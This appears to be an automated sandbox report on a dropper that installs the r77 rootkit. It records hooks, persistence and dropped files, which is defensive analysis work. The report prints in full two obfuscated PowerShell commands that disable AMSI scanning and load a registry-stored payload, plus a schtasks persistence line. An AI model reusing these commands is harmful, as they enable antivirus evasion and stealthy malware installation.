Source: C:\Windows\System32\conhost.exe	Mutant created: \BaseNamedObjects\Local\SM0:6028:120:WilError_01

Source: 34432.exe.1.dr, u200f????????????????????????????????????????.cs	Cryptographic APIs: 'CreateDecryptor'
Source: 2.3.ChiefKeefofficialnaxyi_crypted(6).exe.2670000.0.unpack, u000fu2001.cs	Cryptographic APIs: 'CreateDecryptor'
Source: chrome.exe.4.dr, u200f????????????????????????????????????????.cs	Cryptographic APIs: 'CreateDecryptor'
Source: 5.2.AppLaunch.exe.400000.0.unpack, u000fu2001.cs	Cryptographic APIs: 'CreateDecryptor'

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe	File read: C:\Windows\System32\drivers\etc\hosts			Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe	File read: C:\Windows\System32\drivers\etc\hosts			Jump to behavior

Source: C:\Users\user\AppData\Roaming\34432.exe

File opened: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorrc.dll

Jump to behavior

Source: Install.exe

Static file information: File size 4713759 > 1048576

Source: Install.exe

Static PE information: NO_SEH, TERMINAL_SERVER_AWARE, DYNAMIC_BASE, NX_COMPAT

Source:	Binary string: x64\Release\r77-x64.pdb source: svchost.exe
Source:	Binary string: H:\CRYPTOCOIN\rootkit\r77-rootkit-master\vs\x64\Release\Install.pdb source: 34432.exe, 00000004.00000002.371180159.000000001702D000.00000004.00000800.00020000.00000000.sdmp, 34432.exe, 00000004.00000002.361388892.0000000013A39000.00000004.00000800.00020000.00000000.sdmp, 34432.exe, 00000004.00000002.356979000.00000000039F5000.00000004.00000800.00020000.00000000.sdmp, 34432.exe, 00000004.00000002.360948518.0000000013998000.00000004.00000800.00020000.00000000.sdmp, 34432.exe, 00000004.00000003.333426645.000000001C445000.00000004.00000020.00020000.00000000.sdmp, nslookup.exe, nslookup.exe, 00000016.00000000.330232590.0000000140000000.00000040.00000400.00020000.00000000.sdmp, nslookup.exe, 00000016.00000000.329876550.0000000140000000.00000040.00000400.00020000.00000000.sdmp, nslookup.exe, 00000016.00000002.336319632.0000000140000000.00000040.00000400.00020000.00000000.sdmp
Source:	Binary string: H:\CRYPTOCOIN\rootkit\r77-rootkit-master\vs\Release\r77-x86.pdb source: powershell.exe, 00000019.00000002.430828592.000002C880212000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000019.00000002.462661214.000002C890203000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000019.00000002.461611768.000002C890060000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: H:\CRYPTOCOIN\rootkit\r77-rootkit-master\vs\x64\Release\InstallService64.pdb source: powershell.exe, 00000019.00000002.430828592.000002C880212000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000019.00000002.462661214.000002C890203000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000019.00000002.463366324.000002C8902E9000.00000004.00000800.00020000.00000000.sdmp, dllhost.exe
Source:	Binary string: x64.pdb source: svchost.exe
Source:	Binary string: H:\CRYPTOCOIN\rootkit\r77-rootkit-master\vs\Release\InstallService32.pdb source: powershell.exe, 00000019.00000002.462661214.000002C890203000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000019.00000002.461611768.000002C890060000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: H:\CRYPTOCOIN\rootkit\r77-rootkit-master\vs\InstallStager\obj\x64\Release\InstallStager.pdb source: 34432.exe, 00000004.00000002.361388892.0000000013A39000.00000004.00000800.00020000.00000000.sdmp, 34432.exe, 00000004.00000002.360948518.0000000013998000.00000004.00000800.00020000.00000000.sdmp, 34432.exe, 00000004.00000002.356818562.00000000039A9000.00000004.00000800.00020000.00000000.sdmp, 34432.exe, 00000004.00000002.356782565.0000000003991000.00000004.00000800.00020000.00000000.sdmp, 34432.exe, 00000004.00000003.333426645.000000001C445000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 00000019.00000002.468321947.000002C8EBC93000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: N\rootkit\r77-rootkit-master\vs\x64\Release\r77-x64.pdb source: svchost.exe
Source:	Binary string: C:\projects\dotnetzip-semverd\src\Zip\obj\Release\DotNetZip.pdb source: ChiefKeefofficialnaxyi_crypted(6).exe, 00000002.00000002.225232923.0000000000113000.00000004.00000010.00020000.00000000.sdmp, ChiefKeefofficialnaxyi_crypted(6).exe, 00000002.00000003.224694291.0000000002672000.00000040.00001000.00020000.00000000.sdmp, AppLaunch.exe, 00000005.00000002.505647974.0000000000402000.00000020.00000400.00020000.00000000.sdmp
Source:	Binary string: H:\CRYPTOCOIN\rootkit\r77-rootkit-master\vs\x64\Release\r77-x64.pdb source: svchost.exe
Source:	Binary string: RYPTOCOIN\rootkit\r77-rootkit-master\vs\x64\Release\r77-x64.pdb source: svchost.exe

Data Obfuscation

.NET source code contains potential unpacker

Source: 2.3.ChiefKeefofficialnaxyi_crypted(6).exe.2670000.0.unpack, u0003u2001.cs	.Net Code: \x02 System.Reflection.Assembly System.Reflection.Assembly::Load(System.Byte[])
Source: 5.2.AppLaunch.exe.400000.0.unpack, u0003u2001.cs	.Net Code: \x02 System.Reflection.Assembly System.Reflection.Assembly::Load(System.Byte[])

Found suspicious powershell code related to unpacking or dynamic code loading

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Powershell logging: NewEngineState=Availablefunction Local:JcVEStQtPhkP{Param([OutputType([Type])][Parameter(Position=0)][Type[]]$jwjRgZFzaeZBQB,[Parameter(Position=1)][Type]$jXrdWylJno)$JkETjFsAcrF=[AppDomain]::CurrentD
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Powershell logging: function Local:oBYZxpoBuJDg{Param([OutputType([Type])][Parameter(Position=0)][Type[]]$hCPAJCDcAnFqJq,[Parameter(Position=1)][Type]$NibVxWxTFc)$qKHXRLjxcQb=[AppDomain]::CurrentDomain.DefineDynamicAssem	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Powershell logging: $global:?function Local:JcVEStQtPhkP{Param([OutputType([Type])][Parameter(Position=0)][Type[]]$jwjRgZFzaeZBQB,[Parameter(Position=1)][Type]$jXrdWylJno)$JkETjFsAcrF=[AppDomain]::CurrentDomain.DefineDyn
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Powershell logging: $global:?function Local:JcVEStQtPhkP{Param([OutputType([Type])][Parameter(Position=0)][Type[]]$jwjRgZFzaeZBQB,[Parameter(Position=1)][Type]$jXrdWylJno)$JkETjFsAcrF=[AppDomain]::CurrentDomain.DefineDyn
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Powershell logging: $global:?function Local:JcVEStQtPhkP{Param([OutputType([Type])][Parameter(Position=0)][Type[]]$jwjRgZFzaeZBQB,[Parameter(Position=1)][Type]$jXrdWylJno)$JkETjFsAcrF=[AppDomain]::CurrentDomain.DefineDyn
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Powershell logging: $global:?function Local:JcVEStQtPhkP{Param([OutputType([Type])][Parameter(Position=0)][Type[]]$jwjRgZFzaeZBQB,[Parameter(Position=1)][Type]$jXrdWylJno)$JkETjFsAcrF=[AppDomain]::CurrentDomain.DefineDyn
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Powershell logging: $global:?function Local:JcVEStQtPhkP{Param([OutputType([Type])][Parameter(Position=0)][Type[]]$jwjRgZFzaeZBQB,[Parameter(Position=1)][Type]$jXrdWylJno)$JkETjFsAcrF=[AppDomain]::CurrentDomain.DefineDyn
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Powershell logging: $global:?function Local:JcVEStQtPhkP{Param([OutputType([Type])][Parameter(Position=0)][Type[]]$jwjRgZFzaeZBQB,[Parameter(Position=1)][Type]$jXrdWylJno)$JkETjFsAcrF=[AppDomain]::CurrentDomain.DefineDyn
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Powershell logging: function Local:JcVEStQtPhkP{Param([OutputType([Type])][Parameter(Position=0)][Type[]]$jwjRgZFzaeZBQB,[Parameter(Position=1)][Type]$jXrdWylJno)$JkETjFsAcrF=[AppDomain]::CurrentDomain.DefineDynamicAssem	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Powershell logging: {$_.GlobalAssemblyCache -And $_.Location.Split('\')[-1].Equals('System.dll')}function Local:JcVEStQtPhkP{Param([OutputType([Type])][Parameter(Position=0)][Type[]]$jwjRgZFzaeZBQB,[Parameter(Position=1)
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Powershell logging: function Local:JcVEStQtPhkP{Param([OutputType([Type])][Parameter(Position=0)][Type[]]$jwjRgZFzaeZBQB,[Parameter(Position=1)][Type]$jXrdWylJno)$JkETjFsAcrF=[AppDomain]::CurrentDomain.DefineDynamicAssem	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Powershell logging: {$_.GlobalAssemblyCache -And $_.Location.Split('\')[-1].Equals('System.dll')}function Local:JcVEStQtPhkP{Param([OutputType([Type])][Parameter(Position=0)][Type[]]$jwjRgZFzaeZBQB,[Parameter(Position=1)
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Powershell logging: $global:?function Local:oBYZxpoBuJDg{Param([OutputType([Type])][Parameter(Position=0)][Type[]]$hCPAJCDcAnFqJq,[Parameter(Position=1)][Type]$NibVxWxTFc)$qKHXRLjxcQb=[AppDomain]::CurrentDomain.DefineDyn
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Powershell logging: $global:?function Local:oBYZxpoBuJDg{Param([OutputType([Type])][Parameter(Position=0)][Type[]]$hCPAJCDcAnFqJq,[Parameter(Position=1)][Type]$NibVxWxTFc)$qKHXRLjxcQb=[AppDomain]::CurrentDomain.DefineDyn
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Powershell logging: $global:?function Local:oBYZxpoBuJDg{Param([OutputType([Type])][Parameter(Position=0)][Type[]]$hCPAJCDcAnFqJq,[Parameter(Position=1)][Type]$NibVxWxTFc)$qKHXRLjxcQb=[AppDomain]::CurrentDomain.DefineDyn
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Powershell logging: $global:?function Local:oBYZxpoBuJDg{Param([OutputType([Type])][Parameter(Position=0)][Type[]]$hCPAJCDcAnFqJq,[Parameter(Position=1)][Type]$NibVxWxTFc)$qKHXRLjxcQb=[AppDomain]::CurrentDomain.DefineDyn
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Powershell logging: $global:?function Local:oBYZxpoBuJDg{Param([OutputType([Type])][Parameter(Position=0)][Type[]]$hCPAJCDcAnFqJq,[Parameter(Position=1)][Type]$NibVxWxTFc)$qKHXRLjxcQb=[AppDomain]::CurrentDomain.DefineDyn
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Powershell logging: $global:?function Local:oBYZxpoBuJDg{Param([OutputType([Type])][Parameter(Position=0)][Type[]]$hCPAJCDcAnFqJq,[Parameter(Position=1)][Type]$NibVxWxTFc)$qKHXRLjxcQb=[AppDomain]::CurrentDomain.DefineDyn
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Powershell logging: $global:?function Local:oBYZxpoBuJDg{Param([OutputType([Type])][Parameter(Position=0)][Type[]]$hCPAJCDcAnFqJq,[Parameter(Position=1)][Type]$NibVxWxTFc)$qKHXRLjxcQb=[AppDomain]::CurrentDomain.DefineDyn
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Powershell logging: $global:?function Local:oBYZxpoBuJDg{Param([OutputType([Type])][Parameter(Position=0)][Type[]]$hCPAJCDcAnFqJq,[Parameter(Position=1)][Type]$NibVxWxTFc)$qKHXRLjxcQb=[AppDomain]::CurrentDomain.DefineDyn
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Powershell logging: $global:?function Local:oBYZxpoBuJDg{Param([OutputType([Type])][Parameter(Position=0)][Type[]]$hCPAJCDcAnFqJq,[Parameter(Position=1)][Type]$NibVxWxTFc)$qKHXRLjxcQb=[AppDomain]::CurrentDomain.DefineDyn
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Powershell logging: $global:?function Local:oBYZxpoBuJDg{Param([OutputType([Type])][Parameter(Position=0)][Type[]]$hCPAJCDcAnFqJq,[Parameter(Position=1)][Type]$NibVxWxTFc)$qKHXRLjxcQb=[AppDomain]::CurrentDomain.DefineDyn
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Powershell logging: $global:?function Local:oBYZxpoBuJDg{Param([OutputType([Type])][Parameter(Position=0)][Type[]]$hCPAJCDcAnFqJq,[Parameter(Position=1)][Type]$NibVxWxTFc)$qKHXRLjxcQb=[AppDomain]::CurrentDomain.DefineDyn
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Powershell logging: function Local:JcVEStQtPhkP{Param([OutputType([Type])][Parameter(Position=0)][Type[]]$jwjRgZFzaeZBQB,[Parameter(Position=1)][Type]$jXrdWylJno)$JkETjFsAcrF=[AppDomain]::CurrentDomain.DefineDynamicAssem
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Powershell logging: {$_.GlobalAssemblyCache -And $_.Location.Split('\')[-1].Equals('System.dll')}function Local:JcVEStQtPhkP{Param([OutputType([Type])][Parameter(Position=0)][Type[]]$jwjRgZFzaeZBQB,[Parameter(Position=1)	Jump to behavior

Obfuscated command line found

Source: unknown	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.EXE "function Local:oBYZxpoBuJDg{Param([OutputType([Type])][Parameter(Position=0)][Type[]]$hCPAJCDcAnFqJq,[Parameter(Position=1)][Type]$NibVxWxTFc)$qKHXRLjxcQb=[AppDomain]::CurrentDomain.DefineDynamicAssembly((New-Object Reflection.AssemblyName('ReflectedDelegate')),[Reflection.Emit.AssemblyBuilderAccess]::Run).DefineDynamicModule('InMe'+'mory'+'Module',$False).DefineType('MyDelegateType','Class,Public,Sealed,AnsiClass,AutoClass',[MulticastDelegate]);$qKHXRLjxcQb.DefineConstructor('RTSpecialName,HideBySig,Public',[Reflection.CallingConventions]::Standard,$hCPAJCDcAnFqJq).SetImplementationFlags('Runtime,Managed');$qKHXRLjxcQb.DefineMethod('Invoke','Public,HideBySig,NewSlot,Virtual',$NibVxWxTFc,$hCPAJCDcAnFqJq).SetImplementationFlags('Runtime,Managed');Write-Output $qKHXRLjxcQb.CreateType();}$uYKrZWxknTiUv=([AppDomain]::CurrentDomain.GetAssemblies()\|Where-Object{$_.GlobalAssemblyCache -And $_.Location.Split('\')[-1].Equals('System.dll')}).GetType('Microsoft.Win32.'+'Uns'+'afeNat'+'iveMetho'+'ds');$SpNyfScDlNPPHB=$uYKrZWxknTiUv.GetMethod('Ge'+'tPr'+'ocAdd'+'ress',[Reflection.BindingFlags]'Public,Static',$Null,[Reflection.CallingConventions]::Any,@((New-Object IntPtr).GetType(),[string]),$Null);$RRmRtbQVOsCwqbtFCRP=oBYZxpoBuJDg @([String])([IntPtr]);$CSrLsWTvUKtnfJeCoYnQHQ=oBYZxpoBuJDg @([IntPtr],[UIntPtr],[UInt32],[UInt32].MakeByRefType())([Bool]);$LbwxtlPJWDL=$uYKrZWxknTiUv.GetMethod('Get'+'Modu'+'leHan'+'dle').Invoke($Null,@([Object]('kern'+'el'+'32.dll')));$UsbtvKZkuSsHuw=$SpNyfScDlNPPHB.Invoke($Null,@([Object]$LbwxtlPJWDL,[Object]('Load'+'LibraryA')));$GBWVSxTZRtiWMYLEL=$SpNyfScDlNPPHB.Invoke($Null,@([Object]$LbwxtlPJWDL,[Object]('Vir'+'tual'+'Pro'+'tect')));$zcmbglj=[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($UsbtvKZkuSsHuw,$RRmRtbQVOsCwqbtFCRP).Invoke('a'+'m'+'si.dll');$NtWqUAjxRFzIehWzj=$SpNyfScDlNPPHB.Invoke($Null,@([Object]$zcmbglj,[Object]('Ams'+'iSc'+'an'+'Buffer')));$QZnCEHiAlz=0;[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($GBWVSxTZRtiWMYLEL,$CSrLsWTvUKtnfJeCoYnQHQ).Invoke($NtWqUAjxRFzIehWzj,[uint32]8,4,[ref]$QZnCEHiAlz);[Runtime.InteropServices.Marshal]::Copy([Byte[]](0xb8,0x57,0,7,0x80,0xc2,0x18,0),0,$NtWqUAjxRFzIehWzj,8);[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($GBWVSxTZRtiWMYLEL,$CSrLsWTvUKtnfJeCoYnQHQ).Invoke($NtWqUAjxRFzIehWzj,[uint32]8,0x20,[ref]$QZnCEHiAlz);[Reflection.Assembly]::Load([Microsoft.Win32.Registry]::LocalMachine.OpenSubkey('SOFTWARE').GetValue('nslookstager')).EntryPoint.Invoke($Null,$Null)"
Source: unknown	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE "function Local:JcVEStQtPhkP{Param([OutputType([Type])][Parameter(Position=0)][Type[]]$jwjRgZFzaeZBQB,[Parameter(Position=1)][Type]$jXrdWylJno)$JkETjFsAcrF=[AppDomain]::CurrentDomain.DefineDynamicAssembly((New-Object Reflection.AssemblyName('ReflectedDelegate')),[Reflection.Emit.AssemblyBuilderAccess]::Run).DefineDynamicModule('InMe'+'mory'+'Module',$False).DefineType('MyDelegateType','Class,Public,Sealed,AnsiClass,AutoClass',[MulticastDelegate]);$JkETjFsAcrF.DefineConstructor('RTSpecialName,HideBySig,Public',[Reflection.CallingConventions]::Standard,$jwjRgZFzaeZBQB).SetImplementationFlags('Runtime,Managed');$JkETjFsAcrF.DefineMethod('Invoke','Public,HideBySig,NewSlot,Virtual',$jXrdWylJno,$jwjRgZFzaeZBQB).SetImplementationFlags('Runtime,Managed');Write-Output $JkETjFsAcrF.CreateType();}$lPmVEIqLxWSBJ=([AppDomain]::CurrentDomain.GetAssemblies()\|Where-Object{$_.GlobalAssemblyCache -And $_.Location.Split('\')[-1].Equals('System.dll')}).GetType('Microsoft.Win32.'+'Uns'+'afeNat'+'iveMetho'+'ds');$oknnqNPEawtCof=$lPmVEIqLxWSBJ.GetMethod('Ge'+'tPr'+'ocAdd'+'ress',[Reflection.BindingFlags]'Public,Static',$Null,[Reflection.CallingConventions]::Any,@((New-Object IntPtr).GetType(),[string]),$Null);$PfTqTVeTqNbzEtTZAwA=JcVEStQtPhkP @([String])([IntPtr]);$FBhryrsEcCEQMAYVVFmrjj=JcVEStQtPhkP @([IntPtr],[UIntPtr],[UInt32],[UInt32].MakeByRefType())([Bool]);$gdWNaSIjpXI=$lPmVEIqLxWSBJ.GetMethod('Get'+'Modu'+'leHan'+'dle').Invoke($Null,@([Object]('kern'+'el'+'32.dll')));$MwCkRVFOfjwTFV=$oknnqNPEawtCof.Invoke($Null,@([Object]$gdWNaSIjpXI,[Object]('Load'+'LibraryA')));$PwfBMMcphOddVTLUY=$oknnqNPEawtCof.Invoke($Null,@([Object]$gdWNaSIjpXI,[Object]('Vir'+'tual'+'Pro'+'tect')));$FyAgKxj=[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($MwCkRVFOfjwTFV,$PfTqTVeTqNbzEtTZAwA).Invoke('a'+'m'+'si.dll');$GiLFGjttEZsjytHxc=$oknnqNPEawtCof.Invoke($Null,@([Object]$FyAgKxj,[Object]('Ams'+'iSc'+'an'+'Buffer')));$XarcXAurwd=0;[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($PwfBMMcphOddVTLUY,$FBhryrsEcCEQMAYVVFmrjj).Invoke($GiLFGjttEZsjytHxc,[uint32]8,4,[ref]$XarcXAurwd);[Runtime.InteropServices.Marshal]::Copy([Byte[]](0xb8,0x57,0,7,0x80,0xc3),0,$GiLFGjttEZsjytHxc,6);[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($PwfBMMcphOddVTLUY,$FBhryrsEcCEQMAYVVFmrjj).Invoke($GiLFGjttEZsjytHxc,[uint32]8,0x20,[ref]$XarcXAurwd);[Reflection.Assembly]::Load([Microsoft.Win32.Registry]::LocalMachine.OpenSubkey('SOFTWARE').GetValue('nslookstager')).EntryPoint.Invoke($Null,$Null)"

Source: C:\Users\user\AppData\Roaming\34432.exe	Code function: 4_2_00007FFF7E40070C pushad ; ret	4_2_00007FFF7E40070E
Source: C:\Users\user\AppData\Roaming\34432.exe	Code function: 4_2_00007FFF7E4006CE pushad ; ret	4_2_00007FFF7E4006D0
Source: C:\Users\user\AppData\Roaming\34432.exe	Code function: 4_2_00007FFF7E4035CF push cs; iretd	4_2_00007FFF7E4035D1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 8_2_00007FFF7E3F7317 push ebx; iretd	8_2_00007FFF7E3F731A
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 8_2_00007FFF7E3F5097 push eax; iretd	8_2_00007FFF7E3F50A1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 8_2_00007FFF7E3F44E7 push esp; retf	8_2_00007FFF7E3F44E8
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 8_2_00007FFF7E4C5274 pushad ; retf	8_2_00007FFF7E4C5275
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 8_2_00007FFF7E4C5F76 push ebx; retf	8_2_00007FFF7E4C5F78
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 8_2_00007FFF7E4C5C3C push esi; retf	8_2_00007FFF7E4C5C3D
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 8_2_00007FFF7E4C6156 push ecx; retf	8_2_00007FFF7E4C6158
Source: C:\Windows\System32\nslookup.exe	Code function: 22_2_000000014000E228 push rax; retf	22_2_000000014000E229
Source: C:\Windows\System32\nslookup.exe	Code function: 22_2_000000014001439D push rcx; retf 003Fh	22_2_000000014001439E
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 25_2_00007FFF7E3E6450 push ebx; iretd	25_2_00007FFF7E3E645A
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 25_2_00007FFF7E3E41C7 push esp; retf	25_2_00007FFF7E3E41C8
Source: C:\Users\user\AppData\Roaming\Chrome\chrome.exe	Code function: 30_2_00007FFF7E3F070C pushad ; ret	30_2_00007FFF7E3F070E
Source: C:\Users\user\AppData\Roaming\Chrome\chrome.exe	Code function: 30_2_00007FFF7E3F06CE pushad ; ret	30_2_00007FFF7E3F06D0
Source: C:\Users\user\AppData\Roaming\Chrome\chrome.exe	Code function: 30_2_00007FFF7E3F70FA push ebp; retf	30_2_00007FFF7E3F70FB
Source: C:\Users\user\AppData\Roaming\Chrome\chrome.exe	Code function: 30_2_00007FFF7E3F35CF push cs; iretd	30_2_00007FFF7E3F35D1
Source: C:\Users\user\AppData\Roaming\Chrome\chrome.exe	Code function: 33_2_00007FFF7E40070C pushad ; ret	33_2_00007FFF7E40070E
Source: C:\Users\user\AppData\Roaming\Chrome\chrome.exe	Code function: 33_2_00007FFF7E4006CE pushad ; ret	33_2_00007FFF7E4006D0
Source: C:\Users\user\AppData\Roaming\Chrome\chrome.exe	Code function: 33_2_00007FFF7E4035CF push cs; iretd	33_2_00007FFF7E4035D1
Source: C:\Windows\System32\dllhost.exe	Code function: 39_2_00000001400146AD push rcx; retf 003Fh	39_2_00000001400146AE
Source: C:\Windows\System32\dllhost.exe	Code function: 39_2_000000014000E348 push rax; retf	39_2_000000014000E351
Source: C:\Windows\System32\dllhost.exe	Code function: 39_2_000000014000E350 push rax; retf	39_2_000000014000E351
Source: C:\Windows\System32\winlogon.exe	Code function: 42_2_000001AFDDCE94CD push rcx; retf 003Fh	42_2_000001AFDDCE94CE
Source: C:\Windows\System32\winlogon.exe	Code function: 42_2_000001AFDDD142D8 push rax; retf	42_2_000001AFDDD142D9
Source: C:\Windows\System32\winlogon.exe	Code function: 42_2_000001AFDDD1A6CD push rcx; retf 003Fh	42_2_000001AFDDD1A6CE
Source: C:\Windows\System32\lsass.exe	Code function: 44_2_00000240B2B994CD push rcx; retf 003Fh	44_2_00000240B2B994CE
Source: C:\Windows\System32\lsass.exe	Code function: 44_2_00000240B2BC42D8 push rax; retf	44_2_00000240B2BC42D9
Source: C:\Windows\System32\svchost.exe	Code function: 47_2_000001CAF3CE94CD push rcx; retf 003Fh	47_2_000001CAF3CE94CE
Source: C:\Windows\System32\svchost.exe	Code function: 47_2_000001CAF3D142D0 push rax; retf	47_2_000001CAF3D142D9

Source: ChiefKeefofficialnaxyi_crypted(6).exe.1.dr	Static PE information: section name: .nQuHRq
Source: ChiefKeefofficialnaxyi_crypted(6).exe.1.dr	Static PE information: section name: .9SAT

Source: initial sample

Static PE information: section name: .9SAT entropy: 6.83589844593

Persistence and Installation Behavior

Creates files in the system32 config directory

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\ModuleAnalysisCache
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Source: C:\Users\user\Desktop\Install.exe	File created: C:\Users\user\AppData\Roaming\ChiefKeefofficialnaxyi_crypted(6).exe	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\34432.exe	File created: C:\Users\user\AppData\Roaming\Chrome\chrome.exe	Jump to dropped file
Source: C:\Users\user\Desktop\Install.exe	File created: C:\Users\user\AppData\Roaming\34432.exe	Jump to dropped file

Boot Survival

Uses schtasks.exe or at.exe to add and modify task schedules

Source: C:\Windows\System32\cmd.exe

Process created: C:\Windows\System32\schtasks.exe schtasks /create /f /sc onlogon /rl highest /tn "chrome" /tr "C:\Users\user\AppData\Roaming\Chrome\chrome.exe"

Source: C:\Windows\System32\nslookup.exe

File created: C:\Windows\Tasks\nslooksvc32.job

Hooking and other Techniques for Hiding and Protection

Hooks registry keys query functions (used to hide registry keys)

Source: explorer.exe

IAT, EAT, inline or SSDT hook detected: function: ZwEnumerateValueKey

Hooks processes query functions (used to hide processes)

Source: explorer.exe

IAT, EAT, inline or SSDT hook detected: function: NtQuerySystemInformation

Hooks files or directories query functions (used to hide files and directories)

Source: explorer.exe

IAT, EAT, inline or SSDT hook detected: function: NtQueryDirectoryFile

Modifies the prolog of user mode functions (user mode inline hooks)

Source: explorer.exe

User mode code has changed: module: ntdll.dll function: ZwEnumerateKey new code: 0xE9 0x93 0x33 0x35 0x5D 0xDF

Source: C:\Windows\System32\nslookup.exe

Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node nslookstager

Source: C:\Windows\System32\winlogon.exe

Code function: 42_2_000001AFDDD01F20 GetCurrentThread,GetModuleHandleA,GetProcAddress,GetModuleHandleA,GetProcAddress,GetModuleHandleA,GetProcAddress,GetModuleHandleA,GetProcAddress,GetModuleHandleA,GetProcAddress,GetModuleHandleA,GetProcAddress,GetModuleHandleA,GetProcAddress,GetModuleHandleA,GetProcAddress,GetModuleHandleA,GetProcAddress,GetModuleHandleA,GetProcAddress,

42_2_000001AFDDD01F20

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Registry key monitored for changes: HKEY_CURRENT_USER_Classes

Jump to behavior

Source: C:\Users\user\Desktop\Install.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\34432.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\34432.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\34432.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\34432.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\34432.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\34432.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\34432.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\34432.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\34432.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\34432.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\34432.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\34432.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\34432.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\34432.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\34432.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
